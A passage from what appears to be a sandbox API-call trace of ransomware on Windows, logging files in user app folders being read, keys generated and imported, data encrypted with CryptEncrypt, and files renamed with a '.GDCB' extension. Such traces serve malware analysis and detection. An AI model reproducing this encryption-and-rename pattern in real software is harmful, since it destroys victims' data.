data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0297.632] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.635] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.639] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x20000, lpOverlapped=0x0) returned 1 [0297.654] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x2500000 [0297.663] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0297.700] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0297.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.705] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.705] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.705] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.705] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0297.708] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.710] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.710] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.710] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.710] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0297.713] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acf30) returned 1 [0297.713] CryptGetKeyParam (in: hKey=0x67acf30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.713] CryptEncrypt (in: hKey=0x67acf30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.713] GetLastError () returned 0x0 [0297.713] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0297.713] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.715] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acdf0) returned 1 [0297.715] CryptGetKeyParam (in: hKey=0x67acdf0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.715] CryptEncrypt (in: hKey=0x67acdf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.715] GetLastError () returned 0x0 [0297.715] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.715] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\microsoft.microsoftsolitairecollection_3.1.6103.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0297.766] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.772] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.772] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.772] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.777] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.777] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.779] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aca30) returned 1 [0297.780] CryptGetKeyParam (in: hKey=0x67aca30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.780] CryptEncrypt (in: hKey=0x67aca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x550000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x550000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.780] GetLastError () returned 0x0 [0297.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.780] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0297.782] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acf70) returned 1 [0297.782] CryptGetKeyParam (in: hKey=0x67acf70, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.782] CryptEncrypt (in: hKey=0x67acf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x560000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x560000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.782] GetLastError () returned 0x0 [0297.782] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.782] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Microsoft.Office.OneNote_17.4201.10091.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\microsoft.office.onenote_17.4201.10091.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0297.783] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2500000 [0297.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.789] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x40000, lpOverlapped=0x0) returned 1 [0297.805] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x2510000 [0297.817] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Microsoft.Office.OneNote_17.4201.10091.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\microsoft.office.onenote_17.4201.10091.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Microsoft.Office.OneNote_17.4201.10091.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\microsoft.office.onenote_17.4201.10091.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0297.956] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0297.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.962] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0297.962] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.962] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0297.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.967] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0297.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.967] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0297.969] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67acc30) returned 1 [0297.969] CryptGetKeyParam (in: hKey=0x67acc30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0297.969] CryptEncrypt (in: hKey=0x67acc30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x550000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x550000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0297.969] GetLastError () returned 0x0 [0297.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.969] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0297.971] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67ac970) returned 1 [0297.971] CryptGetKeyParam (in: hKey=0x67ac970, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0297.971] CryptEncrypt (in: hKey=0x67ac970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x560000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x560000*, pdwDataLen=0x285db40*=0x100) returned 1 [0297.971] GetLastError () returned 0x0 [0297.971] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.971] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0297.972] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2500000 [0297.975] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.978] ReadFile (in: hFile=0x500, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285db80*=0xc2e0, lpOverlapped=0x0) returned 1 [0297.987] VirtualAlloc (lpAddress=0x0, dwSize=0xc2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2510000 [0297.994] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0298.030] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0298.033] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.036] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0298.036] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.036] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.041] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0298.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.041] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.044] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac670) returned 1 [0298.044] CryptGetKeyParam (in: hKey=0x67ac670, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.044] CryptEncrypt (in: hKey=0x67ac670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x550000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x550000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0298.045] GetLastError () returned 0x0 [0298.045] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.045] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.047] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac8f0) returned 1 [0298.047] CryptGetKeyParam (in: hKey=0x67ac8f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.047] CryptEncrypt (in: hKey=0x67ac8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x560000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x560000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0298.047] GetLastError () returned 0x0 [0298.047] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.047] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.052] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.057] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.057] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.057] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0298.060] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.063] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.063] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.063] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.064] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.066] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aca70) returned 1 [0298.066] CryptGetKeyParam (in: hKey=0x67aca70, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.066] CryptEncrypt (in: hKey=0x67aca70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2500000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x2500000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.066] GetLastError () returned 0x0 [0298.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.066] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.068] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acff0) returned 1 [0298.068] CryptGetKeyParam (in: hKey=0x67acff0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.068] CryptEncrypt (in: hKey=0x67acff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2510000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x2510000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.068] GetLastError () returned 0x0 [0298.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.068] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.073] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.079] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0298.079] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.079] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.081] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.083] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.083] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0298.083] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.084] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.086] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67acfb0) returned 1 [0298.086] CryptGetKeyParam (in: hKey=0x67acfb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.086] CryptEncrypt (in: hKey=0x67acfb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2520000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2520000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0298.086] GetLastError () returned 0x0 [0298.086] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.086] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.088] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad030) returned 1 [0298.088] CryptGetKeyParam (in: hKey=0x67ad030, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.088] CryptEncrypt (in: hKey=0x67ad030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2530000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2530000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0298.088] GetLastError () returned 0x0 [0298.088] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 